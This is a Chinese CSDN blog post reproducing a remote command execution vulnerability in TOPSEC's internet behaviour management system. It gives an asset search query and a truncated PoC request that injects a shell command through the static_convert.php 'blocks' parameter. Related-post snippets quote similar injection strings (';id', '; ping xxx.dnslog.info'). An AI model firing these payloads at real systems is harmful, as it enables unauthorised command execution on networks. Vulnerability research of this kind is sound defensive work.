天融信TOPSEC static_convert 远程命令执行漏洞

已于 2024-03-09 19:56:00 修改
阅读量46 收藏
点赞数
分类专栏： 漏洞复现 文章标签： web安全
于 2024-03-09 19:55:18 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43567873/article/details/136589706
版权
本文介绍了天融信TOPSEC Static_Convert的远程命令执行漏洞，攻击者能构造恶意请求执行任意系统命令，导致数据泄露、系统瘫痪或远程控制。缓解措施包括加强访问控制、限制特定路径访问、定期查杀后门和设置网络策略。
摘要由CSDN通过智能技术生成

漏洞简介

天融信TOPSEC Static_Convert存在严重的远程命令执行漏洞。攻击者通过发送精心构造的恶意请求，利用了该漏洞，成功实现在目标系统上执行任意系统命令的攻击。成功利用漏洞的攻击者可在目标系统上执行恶意操作，可能导致数据泄露、系统瘫痪或远程控制。

上网行为管理系统

资产

app=”天融信-上网行为管理系统”

复现过程

POC

GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20'pstvamqlkzrgslfilwvf'%20>>%20/var/www/html/rrlmkkyopirhaviko.txt%0A HTTP
了解本专栏 订阅专栏 解锁全文 超级会员免费看
今天晚上早睡觉
关注
专栏目录
订阅专栏
【漏洞复现】天融信TOPSEC static_convert 远程命令执行
失心少年
01-12 338
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！攻击者通过发送精心构造的恶意请求，利用了该漏洞，成功实现在目标系统上执行任意系统命令的攻击。成功利用漏洞的攻击者可在目标系统上执行恶意操作，可能导致数据泄露、系统瘫痪或远程控制。
天融信TOPSEC安全管理系统存在远程命令执行漏洞
3tefanie丶zhou的博客
01-02 1925
【陆上行舟。】
漏洞复现-天融信TOPSEC static_convert 远程命令执行漏洞（附漏洞检测脚本）
jjjj1029056414的博客
01-04 758
漏洞复现-天融信TOPSEC static_convert 远程命令执行漏洞，附带自己写的poc脚本
【漏洞复现】天融信TOPSEC-static-convert-远程命令执行
知黑而守白
01-04 242
攻击者通过发送精心构造的恶意请求，利用了该漏洞，成功实现在目标系统上执行任意系统命令的攻击。成功利用漏洞的攻击者可在目标系统上执行恶意操作，可能导致数据泄露、系统瘫痪或远程控制。强烈建议立即更新系统以修复此漏洞，确保系统安全性。天融信TOPSEC解决方案包括综合管理系统，各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。更新至最新版本：确保你的系统版本处于最新状态。厂商通常会发布包含安全修复的更新，及时应用这些更新以确保系统的安全性。
天融信-上网行为管理系统static_convert接口远程命令执行漏洞复现 [附POC]
薛定谔嘚喵博客
01-05 640
天融信上网行为管理系统基于天融信公司开放的系统架构及模块化设计，具有高效实时的网络数据采集能力、智能的信息处理能力、强大的内容审计分析能力、精细的行为管理能力，是一款高性能、智能灵活、易于管理和扩展的上网行为管理产品。该系统static_convert接口存在远程命令执行漏洞。
【漏洞复现】锐捷统一上网行为管理与审计系统——naborTable/static_convert.php——命令执行
LongL_GuYu的博客
06-25 877
锐捷统一上网行为管理与审计系统`naborTable/static_convert.php`接口存在远程命令执行漏洞，导致恶意攻击者可以执行命令获取对服务器的远程访问权限或者破坏系统，对服务器造成极大的安全隐患。
【漏洞复现】某厂商上网行为管理系统static_convert命令执行漏洞
晚风不及你
03-01 1201
天融信上网行为管理系统是天融信公司凭借多年来的安全产品研发经验，为满足各行各业进行网络行为管理和内容审计的专业产品。
天融信TopApp-LB 负载均衡系统漏洞总结
Adminxe的博客
09-23 1325
0x00 漏洞描述 1、天融信负载均衡TopApp-LB系统无需密码直接登陆 2、天融信TopApp-LB负载均衡命令执行漏洞 3、天融信TopApp-LB 负载均衡系统Sql注入漏洞 0x01 漏洞复现 1、使用poc:：用户名随意 密码：;id 2、使用poc：; ping xxx.dnslog.info; echo 3.1、抓包 3.2、vid参数加单引号，报错 3.3、使用or 1=1 or 1=2发现返回界面不一样，证明存在注入点(布尔盲注) ...
2024年三个月网络安全（黑客技术）入门教程
2401_85027336的博客
09-25 1921
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。走安全行业的工程方向的，技术上面其实有很大的重叠性，抛开甲乙方、岗位名称、岗位职责等因素来看，作为学技术的，也根据以往我们给学员推荐就业和入职情况来看，只要好好掌握以下几种技术（网络协议与安全设备、Linux操作系统、Web服务部署/开发、主流渗透测试/安全工具、一门及以上的编程语言）中的2到3个，都可以较好的胜任工作需求。
个人网络安全的几个重点与防御
最新发布
nn_84的博客
10-03 425
2 防火墙 大家都用windows 只需在 gpedit.msc 设置 但有什么未知漏洞就不得而知了 因为美国的计划问题。1 浏览器 firefox 这是第一选择 如果你真的不明白可以找找各个浏览器漏洞。3 移动设备带来的危害 比如u盘 等 对于你们认为杀毒可以 那免杀还干吗呢。网络端口溢出漏洞 但防火墙和随机地址的原因 已经可以防御。提权 这是以后遇到的问题 有些漏洞不是随机地址能够阻止。mail 的危险的 来自与代理和漏洞。浏览器溢出漏洞 实时注意更新就可以。
Web安全 - 文件上传漏洞（File Upload Vulnerability）
小工匠
10-02 1832
文件上传漏洞是指Web应用允许用户上传文件，但没有对上传文件进行充分的验证和限制，导致攻击者可以上传恶意文件，如脚本、恶意代码等，进一步执行恶意操作。这种漏洞常见于文件管理、头像上传或文档管理等功能中。路径穿越结合文件上传：绕过文件上传目录限制，访问或执行敏感位置的文件。远程代码执行（RCE）结合文件上传：通过上传并执行恶意文件实现远程控制。跨站脚本（XSS）结合文件上传：通过文件传播恶意脚本，跨站点执行攻击。跨站请求伪造（CSRF）结合文件上传：在不知情的情况下诱使用户上传恶意文件。
网络安全（黑客）自学
白帽子凯哥聊黑客
09-29 1199
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
Web安全 - 构建全面的业务安全保护防御体系
小工匠
10-03 2151
业务安全是公司为了保护其业务流程和用户增长而制定的防护措施，主要应对的是黑产（黑色产业）的攻击。相比传统的基础安全，业务安全的特点更加复杂，主要体现在两个方面：攻击者的产业化和资源对抗。
天融信防火墙命令行操作详解与授权管理
《天融信防火墙命令行手册》是天融信公司为其网络安全卫士防火墙系统编撰的一份技术文档，旨在提供用户对防火墙功能进行配置、管理和监控的详细指导。该手册适用于网络管理员和技术人员，内容涵盖了基础配置、AAA...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值